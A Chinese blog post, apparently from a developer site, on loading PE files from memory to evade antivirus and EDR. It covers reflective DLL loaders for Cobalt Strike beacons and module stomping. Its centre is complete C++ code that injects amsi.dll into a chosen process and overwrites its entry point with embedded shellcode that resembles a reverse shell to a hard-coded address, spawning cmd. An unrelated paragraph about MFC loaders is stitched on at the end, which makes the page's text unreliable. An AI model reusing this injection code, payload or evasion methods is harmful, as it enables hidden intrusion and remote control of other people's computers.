关于PE文件的内存加载分享

 

当我们想要加载执行一个程序或者shellcode时,通常的做法就是双击exe执行,然而在攻防场景中这并不容易做到,考虑到有杀软或EDR设备的环境下,命令行执行很大概率也会报毒,这是因为进程的调用链是cmd→灰进程,对于av来说这种调用很可疑,为了规避这种敏感调用,一种方法是断链, 关于断链的内容这里不多赘述,读者可自行查找学习,另一种方法就是内存加载,把DLL或者exe等PE格式的文件从内存中直接加载到内存中去执行,不需要通过LoadLibrary等API函数去操作,这样做的好处是

1. 文件不存在于磁盘上,省去静态免杀的操作

2. 避免文件加载触发的内核回调

3. 加载的程序不会在peb和进程中呈现

内存加载的方法主要有两种,第一种方法是针对PE格式的文件,编写一个PELoader模拟LoadLibrary函数的操作将pe文件加载到内存并执行;另一种是针对.NET程序集,可以利用C#的反射特性,使用Assembly.Load加载程序集。接下来将详细聊聊两种方法的细节和优劣。

PELoader

如前所述,自己编写的PELoader目的就是模拟LoadLibrary函数的行为把PE文件加载到内存空间并跳转到PE文件的oep去执行。

由于文件对齐与内存对齐大小不一定一致,因此我们将PE文件各个部分复制到内存时可能会需要更大的地址空间,而这个值我们可以在可选PE头的SizeOfImage字段获得,这个字段揭示的就是内存中PE文件映射的尺寸,这个值是SectionAlignment(内存对齐大小)的整数倍。另外PE文件在内存中实际加载地址与偏好加载地址不一定相同,而在 PE 文件中,有一些全局变量的地址是硬编码的(这些数据的地址由重定向表追踪),那么自然也会随着实际加载地址的变化而变化。因此在映射后我们需要修复重定向表,使程序能正确执行。最后我们还需要修复 IAT 表,这是因为没有系统帮忙导入程序运行需要的dll,我们就需要自己导入dll和函数。因为Cobalt Strike的beacon是一个dll形式的文件,因此本文都以ReflectiveDllLoader为例,ReflectiveDllLoader的完整流程如下,具体的代码实现参考ReflectiveDLLInjection。

1. 通过 `CreateRemoteThread` 等API直接执行导出函数 `ReflectiveLoader`,或者修补DOS 头使其成为 可执行的Shellcode,然后跳转到 `ReflectiveLoader` 执行。

2. 计算出 DLL 的基址,通过不断前移匹配到 **MZ** 标记 **。**

3. 通过PEB获取一些必要的 API 例如 **`LoadLibrary`** , **`GetProcAddress`,`VirtualAlloc`**的地址。

4. 映射pe文件到内存

   1. 根据`SizeOfImage`,申请内存。
      2. 将 DLL 的各个头以及节复制到分配的内存空间,并设置对应的内存权限。
5. 修复重定位表,计算PE文件偏好基址和加载后的基址相差的offest,将要修复的地址加上这个offest。

6. 修复IAT表,遍历所有导入的 DLL,对于每个 DLL,遍历每个导入函数。根据函数的导入方式(函数序号或名称),补丁导入函数的地址。

7. 跳转入口执行

对于以上所述的这种加载方式,从调用堆栈上追踪,其实会发现有些“不寻常”的地方。此处以donut默认生成的文件示例:

图片

图片

如图所示,多个函数都没有对应的符号,这是因为dll并非加载自磁盘。

图片


同时我们可以看到该内存区域还是私有的RWX属性,这对于杀软来说是很可疑的。

对于RWX属性内存,我们可以分配RX+RW权限来替代直接分配RWX权限的内存,这样能很好的规避对敏感内存区域的检测。而对于RX权限的内存,我们知道系统中此类内存大部分都是图像映像的,它们对应于加载到进程中的 DLL 的 .text 部分。因此AV/EDR通常会检测拥有可执行属性的内存是否从磁盘上的映像加载,对此,有效的办法是Module Stomping (or Module Overloading or Process Hollowing) ,该方法原理大致如下:

1. 将合法的Windows DLL 注入到目标进程

2. 将 shellcode 覆盖在步骤 1 中加载的 DLL 的入口点

3. 启动一个新线程执行shellcode

这样做的好处是,当杀软检测该可执行内存对应的映像文件时,会检查到的是合法的dll文件,是这种检测方式失效。Donut的-j 参数已经内置了Module Overloading的方法。

下面是将amsi.dll注入进程并镂空加载我们shellcode的简单实现:


#include "pch.h" #include#include <Windows.h> #include <psapi.h>

int main(int argc, char *argv[])
{
    HANDLE processHandle;
    PVOID remoteBuffer;
    wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
    HMODULE modules[256] = {};
    SIZE_T modulesSize = sizeof(modules);
    DWORD modulesSizeNeeded = 0;
    DWORD moduleNameSize = 0;
    SIZE_T modulesCount = 0;
    CHAR remoteModuleName[128] = {};
    HMODULE remoteModule = NULL;

    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

    // inject a benign DLL into remote process
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    //processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);

    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
    PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
    WaitForSingleObject(dllThread, 1000);

    // find base address of the injected benign DLL in remote process
    EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
    modulesCount = modulesSizeNeeded / sizeof(HMODULE);
    for (size_t i = 0; i < modulesCount; i++)
    {
        remoteModule = modules[i];
        GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
        if (std::string(remoteModuleName).compare("amsi.dll") == 0) 
        {
            std::cout << remoteModuleName << " at " << modules[i];
            break;
        }
    }

    // get DLL's AddressOfEntryPoint
    DWORD headerBufferSize = 0x1000;
    LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
    ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
    LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
    std::cout << ", entryPoint at " << dllEntryPoint;

    // write shellcode to DLL's AddressofEntryPoint
    WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

    // execute shellcode from inside the benign DLL
    CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

    return 0;
}

内置式Loader

目前的loader主要分为两种,一种是像Cobalt Strike 一样,通过修补Dos头,使得dos头在执行时可以直接调用ReflectiveLoader函数,以此完成dll的加载,这种暂时称为内置式Loader,下面是默认生成的Beacon.dll和beacon.bin的Dos头对比:

图片

可以看出,相比于Beacon.dll,Beacon.bin的DOS头多了一部分,下面这部分汇编代码是beacon.bin中Dos头的前面几行经过chatgpt解释后生成:


4D 5A -> "MZ" ; DOS header 41 52 55 48 89 E5 48 -> "ARUH" ; Beginning of PE header 81 EC 20 00 00 00 -> sub rsp, 0x20 ; Allocate space for the stack 48 8D 1D EA FF FF FF -> lea rbx, [rip - 0x16] ; Load effective address of some memory location 48 89 DF -> mov rdi, rbx ; Move rbx into rdi 48 81 C3 44 64 01 00 -> add rbx, 0x16444 ; Add 0x16444 to rbx FF D3 -> call rbx ; Call the address in rbx 41 B8 F0 B5 A2 56 -> mov r8d, 0x56A2B5F0 ; Move 0x56A2B5F0 into r8d 68 04 00 00 00 -> push 0x4 ; Push 0x4 onto the stack 5A -> pop rdx ; Pop the top of the stack into rdx 48 89 F9 -> mov rcx, rdi ; Move rdi into rcx FF D0 -> call rax ; Call the address in rax



大致意思是前移0x16字节从而获得Shellcode地址,然后传参,再通过硬编码的偏移计算出ReflectiveLoader的位置并调用,再往后则是在调用dllmain函数。

前置式Loader

与内置式的Loader不同在于没有将ReflectiveLoader函数放到DLL中,而是放在DLL的前面,这样做的好处是,能够在不知道源码的情况下反射加载任意的PE文件,同时不需要额外的导出函数,这样也有利于规避掉一些基于此的检测。下面是两种Loader的对比图:

图片

更多关于前置式Loader的内容可以阅读这篇文章<https://blog.f-secure.com/doublepulsar-usermode- analysis-generic-reflective-dll-loader/>

  • 28
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PE(Portable Executable)加载器是一种用于加载和执行Windows可执行文件(.exe)的组件。PE加载器可以加载并执行使用MFC(Microsoft Foundation Classes)开发的可执行文件。 MFC是一种用C++编写的框架,旨在简化Windows应用程序的开发。MFC提供了许多类和函数,可以用于创建窗口、处理用户输入、绘制图形等任务。使用MFC开发的应用程序被编译为可执行文件,可以通过PE加载加载和执行。 当PE加载加载一个使用MFC开发的可执行文件时,它会首先解析PE文件的头部,确定文件的结构和特性。然后,加载器会遍历PE文件的节表,加载每个节到内存中,并按照特定的顺序将节中的代码和数据复制到进程的地址空间中。 对于使用MFC开发的可执行文件加载器会识别并加载与MFC相关的节。这些节包含MFC框架所需的代码和数据。加载器会将这些MFC相关的节加载到进程的地址空间中,并正确地设置它们的属性和访问权限。 加载器会查找MFC所需的依赖项,例如MFC库文件和其他相关的动态链接库(DLL)。它会自动加载并链接这些库文件,以确保应用程序正常运行。 一旦MFC相关的代码和数据加载完毕,加载器会调用程序的入口点,并开始执行代码。MFC框架会根据应用程序的逻辑,处理用户输入、响应事件、调用相应的MFC类和函数,最终显示和更新屏幕上的内容。 总之,PE加载器可以正确加载和执行使用MFC开发的可执行文件。它负责将MFC框架相关的代码和数据加载到进程的地址空间中,并与必要的依赖项进行链接,以确保应用程序能够正常运行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值